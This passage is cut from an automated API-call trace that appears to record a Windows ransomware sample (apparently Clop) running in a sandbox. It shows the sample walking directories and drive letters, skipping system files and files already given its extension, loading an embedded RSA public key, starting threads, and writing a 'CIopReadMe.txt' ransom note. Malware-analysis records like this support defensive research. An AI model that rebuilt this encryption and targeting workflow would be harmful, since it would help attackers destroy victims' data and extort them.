lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Pictures\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0138.580] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0138.580] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.580] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0138.580] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0138.580] lstrlenW (lpString="desktop.ini") returned 11 [0138.580] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0138.580] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0138.580] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.581] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0138.581] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0138.581] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.581] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0138.581] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0138.581] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0138.581] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0138.581] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0138.581] SetErrorMode (uMode=0x1) returned 0x1 [0138.581] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0138.581] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0138.581] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Videos\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0138.581] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0138.581] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.581] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0138.581] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.581] lstrlenW (lpString="desktop.ini") returned 11 [0138.581] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0138.582] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0138.582] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.582] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0138.582] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0138.582] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0138.582] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.582] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.582] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.582] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0138.582] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0138.583] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.583] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0138.583] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0138.583] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.583] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.583] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0138.583] SetErrorMode (uMode=0x1) returned 0x1 [0138.583] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0138.583] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0138.583] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0138.583] lstrcatW (in: lpString1="C:\\Windows\\", lpString2="*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0138.583] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0138.583] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0138.583] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0138.583] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0138.583] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0138.583] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0138.583] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0138.583] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0138.583] Sleep (dwMilliseconds=0x493e0) [0148.591] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="A:") returned 2 [0148.591] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0148.591] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="B:") returned 2 [0148.591] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="C:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="D:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="E:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="F:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="G:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="H:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="I:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="J:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0148.592] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="K:") returned 2 [0148.592] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="L:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="M:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="N:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="O:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="P:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Q:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="R:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="S:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0148.593] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="T:") returned 2 [0148.593] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0148.594] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="U:") returned 2 [0148.594] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0148.594] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="V:") returned 2 [0148.594] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0148.594] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="W:") returned 2 [0148.594] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0148.594] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="X:") returned 2 [0148.594] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0148.594] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Y:") returned 2 [0148.594] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0148.594] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Z:") returned 2 [0148.594] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0148.594] GetSystemInfo (in: lpSystemInfo=0x2dcff04 | out: lpSystemInfo=0x2dcff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0148.594] SetErrorMode (uMode=0x1) returned 0x1 [0148.594] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.594] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.594] lstrcpyW (in: lpString1=0x2dcf700, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0148.594] lstrcatW (in: lpString1="C:\\", lpString2="*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0148.594] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e6b8 [0148.595] PathFindFileNameW (pszPath="C:") returned="C:" [0148.595] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.595] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.595] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.595] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0148.595] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0148.595] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0148.595] Sleep (dwMilliseconds=0xd) [0148.623] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0148.623] lstrcpyW (in: lpString1=0x2dce886, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0148.623] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0148.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0148.623] SetErrorMode (uMode=0x1) returned 0x1 [0148.623] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0148.623] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0148.624] CloseHandle (hObject=0x294) returned 1 [0148.624] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.624] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2="..") returned 1 [0148.624] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2=".") returned 1 [0148.624] lstrlenW (lpString=".CIop") returned 5 [0148.624] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.624] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0148.624] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0148.624] lstrlenW (lpString="bootsect.bak") returned 12 [0148.624] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.624] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.624] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.624] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.624] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.624] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.624] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.624] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0148.624] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0148.625] lstrlenW (lpString=".sys") returned 4 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0148.625] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0148.625] lstrlenW (lpString=".sys") returned 4 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0148.625] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0148.625] lstrlenW (lpString=".sys") returned 4 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.625] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0148.625] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.625] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.626] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.626] lstrcatW (in: lpString1="C:", lpString2="\\*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0148.626] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e838 [0148.626] PathFindFileNameW (pszPath="C:") returned="C:" [0148.626] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.626] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.626] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.626] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0148.626] SetErrorMode (uMode=0x1) returned 0x1 [0148.626] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0148.627] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0148.627] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0148.627] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0148.627] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0148.627] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0148.627] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0148.627] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.627] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0148.627] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0148.627] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.628] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0148.628] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0148.628] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.628] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.628] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0148.628] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0148.628] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.628] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.628] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0148.628] SetErrorMode (uMode=0x1) returned 0x1 [0148.628] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0148.628] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0148.628] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0148.628] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0148.629] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.629] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0148.629] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0148.629] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.629] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0148.629] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0148.629] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0148.629] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0148.629] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0148.629] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0148.630] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.630] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.630] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.630] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.630] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.630] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0148.630] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0148.630] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0148.630] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0148.630] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0148.630] SetErrorMode (uMode=0x1) returned 0x1 [0148.630] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0148.630] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0148.630] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0148.630] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0148.630] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.631] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0148.631] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0148.631] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.631] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.631] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.631] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0148.631] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0148.631] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0148.632] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0148.632] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0148.632] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0148.632] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0148.632] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.632] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0148.632] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0148.632] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0148.633] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0148.633] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0148.633] lstrcmpW (lpString1="Documents and 